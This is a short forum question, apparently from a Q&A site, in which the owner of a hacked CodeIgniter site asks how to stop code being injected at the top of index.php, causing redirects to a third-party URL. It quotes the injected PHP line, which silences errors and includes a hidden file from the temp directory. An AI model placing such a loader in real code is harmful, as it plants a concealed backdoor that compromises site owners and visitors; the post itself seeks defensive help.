.htaccess - Codeigniter Code Injected in Index.php -

i have codeigniter project , see index.php page keep getting hacked

some code added automatically every time on top of index.php page , site redirected third party url whenever click anywhere.

the injected code follows:

error_reporting(0); ini_set("display_errors", 0); include_once(sys_get_temp_dir()."/sess_48cd7517d21176f980daa5502d9efb31"); 

how can prevent this?